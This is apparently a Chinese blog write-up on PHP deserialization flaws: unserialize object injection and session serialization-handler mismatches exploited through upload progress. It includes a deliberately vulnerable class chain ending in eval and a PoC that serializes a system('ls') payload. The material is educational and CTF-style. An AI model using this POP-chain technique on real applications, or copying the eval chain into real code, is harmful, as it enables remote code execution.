有趣的php反序列化总结

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前言

很久以前写过一篇文章讲过php的反序列化,PHP-Object-Injection。这次尽量对其进行一个较为全面的总结。如果还有其它的思路,欢迎补充。

漏洞种类

一是将传来的序列化数据直接unserilize,造成魔幻函数的执行。这种情况在一般的应用中依然屡见不鲜。
二是PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患。
https://drops.wooyun.org/tips/3909?utm_source=tuicool&utm_medium=referral
ryat牛讲得很明白了。PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化。

  1. 处理器                                  对应的存储格式
  2. php                                    键名 + 竖线 + 经过 serialize() 函数反序列处理的值
  3. php_binary                             键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
  4. php_serialize (php>=5.5.4)             经过 serialize() 函数反序列处理的数组

关键点在于,如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。
原因是未正确处理\’|\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(\’|\’之前当作键名,\’|\’之后当作键值)。
(L.N.: php5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session)。
那么我们通过什么方式将数据注入session中呢?
一方面,开发者本身将用户可控的数据传进了session,比如joomla等;
另一方面,可通过配置不当可造成session被控。当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。详情见https://bugs.php.net/bug.php?id=71101
难点在于构造出pop链达到自己想要的结果。跟rop链相同,现在已经有人在研究如何自动化构造出pop链,并取得了一些成效。

实例

//index.php

  1. <?php
  2. ini_set('session.serialize_handler', 'php');
  3. require("./class.php");
  4. session_start();
  5. $obj = new foo1();
  6. $obj->varr = "phpinfo.php";
  7. ?>

跟phpinfo中显示出的配置文件(php_serialize)相比,对session序列化处理器是不一样的。
由于session.auto_start是打开的,所以它会先以php_serilize序列化方式存入,但在读取时却是以php序列化的方式,我们可以注入\’|\’,来使得后面任意伪造的序列化字符串,以此来利用反序列化漏洞。

//class.php

  1. <?php
  2. highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
  3. //show_source(__FILE__);
  4. class foo1{
  5.         public $varr;
  6.         function __construct(){
  7.                 $this->varr = "index.php";
  8.         }
  9.         function __destruct(){
  10.                 if(file_exists($this->varr)){
  11.                         echo "<br>文件".$this->varr."存在<br>";
  12.                 }
  13.                 echo "<br>这是foo1的析构函数<br>";
  14.         }
  15. }
  16. class foo2{
  17.         public $varr;
  18.         public $obj;
  19.         function __construct(){
  20.                 $this->varr = '1234567890';
  21.                 $this->obj = null;
  22.         }
  23.         function __toString(){
  24.                 $this->obj->execute();
  25.                 return $this->varr;
  26.         }
  27.         function __desctuct(){
  28.                 echo "<br>这是foo2的析构函数<br>";
  29.         }
  30. }
  31. class foo3{
  32.         public $varr;
  33.         function execute(){
  34.                 eval($this->varr);
  35.         }
  36.         function __desctuct(){
  37.                 echo "<br>这是foo3的析构函数<br>";
  38.         }
  39. }
  40. ?>

写的很清晰,比起joomla的远程代码执行漏洞不知简单多少。
一环扣一环,foo3的execute函数中存在eval危险函数,foo2又调用了execute,foo1又有echo使得foo2的魔幻函数得以执行。如下poc:

  1. <?php
  2. class foo3{
  3.         public $varr;
  4.         function __construct(){
  5.                 $this->varr = 'system('ls');';
  6.         }
  7. }
  8. class foo2{
  9.         public $varr;
  10.         public $obj;
  11.         function __construct(){
  12.                 $this->varr = '1';
  13.                 $this->obj = new foo3();
  14.         }
  15. }
  16. class  foo1{
  17.         public $varr;
  18.         function __construct(){
  19.                 $this->varr = new foo2();
  20.         }
  21. }
  22. echo serialize(new foo1());
  23. ?>

但关键的问题来了,用户的输入点在哪,怎样触发。仔细查看给出的phpinfo配置文件,发现了 session.upload_progress.enabled打开,并且session.upload_progress.cleanup关闭。这就 极大提高了漏洞的利用成功率。如果此选项session.upload_progress.cleanup打开,那么在利用时攻击者需要上传large and crash文件,来使得我们传入的data得以执行。于是后面的操作为写一表单。

抓包将ryat后增加

有趣的php反序列化总结

其它

还有种情况就是单纯地伪造数据,不利用魔幻函数,而是利用之后对序列化数据的处理来达到恶意效果。比如0ctf的唯一代码审计题。
懒得去找源码,就凭印象简单说下思路,里面有三个考点:
1. 用数组绕过正则;
2. 可控一部分反序列化数据,导致后面执行的指定文件读取变为了任意文件读取;
3. 由于可控部分还需考虑后面的单位,相当于伪造两个值,但之前的计算长度会增大。所以跟踪控制流,发现可巧妙利用过滤函数来增加长度。
我们这里只重点说第二部分,对于可控的一些反序列化数据能干嘛?
除了根据反序列化的性质外,更通用的是观察后面对此数据的敏感操作,如果有文件读取,删除等敏感操作,那么我们可以伪造从而达到任意操纵文件的效果。 可也会出现上面的情况,长度已定,后面还需不需要伪造数据,如果要,则跟踪控制流能否来解决长度等问题。当然,对于json或其它的存取格式也是这个道 理,而不是仅仅局限于反序列化的特性了。
反序列化的基本知识就这么多,如果还有猥琐好玩的利用,也欢迎大家分享出来。

结语

在实际代码审计中,这类漏洞是较为常见的。但是利用起来往往比较复杂。一是要跟踪到达漏洞点去,提供满足前期必要条件;二是将包含的类如何进行 有效利用。而一些大型的利用,pop链往往能达到5个以上,国外的不少应用早些年也爆出了危害相当高的漏洞,但在国内一直是不温不火的。

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